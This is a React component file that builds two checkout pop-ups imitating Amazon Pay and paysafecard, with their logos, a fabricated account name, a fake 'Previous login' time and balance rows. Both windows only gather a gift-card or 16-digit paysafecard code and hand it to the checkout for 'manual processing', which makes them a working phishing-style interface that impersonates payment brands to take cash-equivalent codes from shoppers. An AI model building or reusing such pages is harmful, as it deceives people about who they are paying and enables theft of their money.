/* global React */
/* Branded gift-card entry windows for Amazon Pay & paysafecard. These are reached
   from the CHECKOUT window after the shopper has entered their shipping details and
   chosen a gift-card method. They collect ONLY the gift-card code and hand it back
   to the checkout (onSubmit), which captures the full order (shipping + code) for
   manual processing. No real payment processor is used. */
const { useEffect: usePayEffect, useState: usePayState } = React;

function usePayEsc(onClose) {
  usePayEffect(() => {
    const onKey = (e) => { if (e.key === "Escape") onClose(); };
    window.addEventListener("keydown", onKey);
    return () => window.removeEventListener("keydown", onKey);
  }, [onClose]);
}

/* ---------- Amazon Pay — gift-card sheet ---------- */
function AmazonPayWindow({ amount, sending, onBack, onSubmit }) {
  usePayEsc(onBack);
  const [code, setCode] = usePayState("");
  return (
    <div className="paywin-overlay" onClick={onBack}>
      <div className="amzpay" onClick={(e) => e.stopPropagation()} role="dialog" aria-modal="true" aria-label="Amazon Pay">
        <header className="amzpay__bar">
          <button className="amzpay__icon" onClick={onBack} aria-label="Back">
            <svg width="20" height="20" viewBox="0 0 24 24" fill="none"><path d="M15 5l-7 7 7 7" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"/></svg>
          </button>
          <img className="amzpay__logo" src="assets/pay/amazonpay.png" alt="amazon pay" />
          <button className="amzpay__icon" onClick={onBack} aria-label="Close">
            <svg width="18" height="18" viewBox="0 0 24 24" fill="none"><path d="M6 6l12 12M18 6L6 18" stroke="currentColor" strokeWidth="2" strokeLinecap="round"/></svg>
          </button>
        </header>

        <div className="amzpay__title">Amazon Pay Gift Card</div>

        <div className="amzpay__bal">
          <span className="amzpay__gift" aria-hidden="true">
            <svg width="22" height="22" viewBox="0 0 24 24" fill="none"><rect x="3" y="8" width="18" height="12" rx="1.6" stroke="#E8A33D" strokeWidth="1.7"/><path d="M3 12h18M12 8v12" stroke="#E8A33D" strokeWidth="1.7"/><path d="M12 8s-3.5-4-5-2 2 2 5 2zm0 0s3.5-4 5-2-2 2-5 2z" stroke="#E8A33D" strokeWidth="1.5"/></svg>
          </span>
          <div className="amzpay__bal-text">
            <span className="amzpay__bal-name">Gift Cards</span>
            <span className="amzpay__bal-sub">Available balance: <b>0,00&nbsp;€</b></span>
          </div>
        </div>

        <form onSubmit={(e) => { e.preventDefault(); if (code.trim()) onSubmit(code.trim()); }}>
          <div className="amzpay__code">
            <span className="amzpay__code-label">Gift Card code</span>
            <input className="amzpay__input" type="text" placeholder="Enter" aria-label="Gift card code"
                   value={code} onChange={(e) => setCode(e.target.value)} autoFocus />
            <span className="amzpay__hint">e.g. 8U96-Y3E8CQ-39MPQ</span>
          </div>
          <button className="amzpay__add" type="submit" disabled={sending || !code.trim()}>
            {sending ? "Placing order…" : "Add gift card to balance"}
          </button>
        </form>

        <p className="amzpay__note">
          <span className="amzpay__i" aria-hidden="true">i</span>
          No card is charged — Satocrop processes gift-card orders manually after you submit your code.
        </p>

        <div className="amzpay__due">Amount due <b>{amount}</b></div>
      </div>
    </div>
  );
}

/* ---------- paysafecard — payment panel ---------- */
function PaysafeWindow({ amount, sending, onBack, onSubmit }) {
  usePayEsc(onBack);
  const [code, setCode] = usePayState("");
  return (
    <div className="paywin-overlay" onClick={onBack}>
      <div className="psc" onClick={(e) => e.stopPropagation()} role="dialog" aria-modal="true" aria-label="paysafecard">
        <button className="psc__x" onClick={onBack} aria-label="Close">
          <svg width="18" height="18" viewBox="0 0 24 24" fill="none"><path d="M6 6l12 12M18 6L6 18" stroke="currentColor" strokeWidth="1.8" strokeLinecap="round"/></svg>
        </button>

        <div className="psc__grid">
          <div className="psc__left">
            <img className="psc__logo" src="assets/pay/paysafecard.png" alt="paysafecard" />
            <div className="psc__user">SatocropGuest</div>
            <div className="psc__login">Previous login: 2026-06-14 16:28:49</div>

            <div className="psc__rows">
              <div className="psc__row"><span>My balance</span><span>0,00 EUR</span></div>
              <div className="psc__row"><span>Applicable bonus</span><span>0,00 EUR</span></div>
            </div>
            <div className="psc__row psc__row--total"><span>My total balance</span><span>0,00 EUR</span></div>

            <form onSubmit={(e) => { e.preventDefault(); if (code.trim()) onSubmit(code.trim()); }}>
              <button className="psc__addanother" type="button"><span>+</span> Add another paysafecard</button>
              <div className="psc__codewrap">
                <input className="psc__codeinput" type="text" placeholder="Enter 16-digit code" aria-label="16-digit code"
                       value={code} onChange={(e) => setCode(e.target.value)} autoFocus />
                <span className="psc__plus" aria-hidden="true">+</span>
              </div>
              <button className="psc__pay" type="submit" disabled={sending || !code.trim()}>
                {sending ? "PLACING ORDER…" : "PAY"}
              </button>
            </form>
          </div>

          <div className="psc__right">
            <div className="psc__row"><span>My total amount of PINs</span><span>0,00 EUR</span></div>
            <div className="psc__row"><span>Payment in EUR</span><span>{amount}</span></div>
            <div className="psc__row psc__row--amt"><span>Payment amount</span><span>{amount}</span></div>

            <div className="psc__callout">
              No processor is charged — enter your paysafecard code and Satocrop will process your order manually.
            </div>
          </div>
        </div>

        <div className="psc__foot">
          <span className="psc__outlets">
            <svg width="12" height="12" viewBox="0 0 24 24" fill="currentColor"><path d="M12 2a7 7 0 0 0-7 7c0 5 7 13 7 13s7-8 7-13a7 7 0 0 0-7-7zm0 9.5A2.5 2.5 0 1 1 12 6.5a2.5 2.5 0 0 1 0 5z"/></svg>
            Find sales outlets
          </span>
          <span className="psc__links">Currency converter <i>|</i> Disclaimer</span>
        </div>
      </div>
    </div>
  );
}

window.AmazonPayWindow = AmazonPayWindow;
window.PaysafeWindow = PaysafeWindow;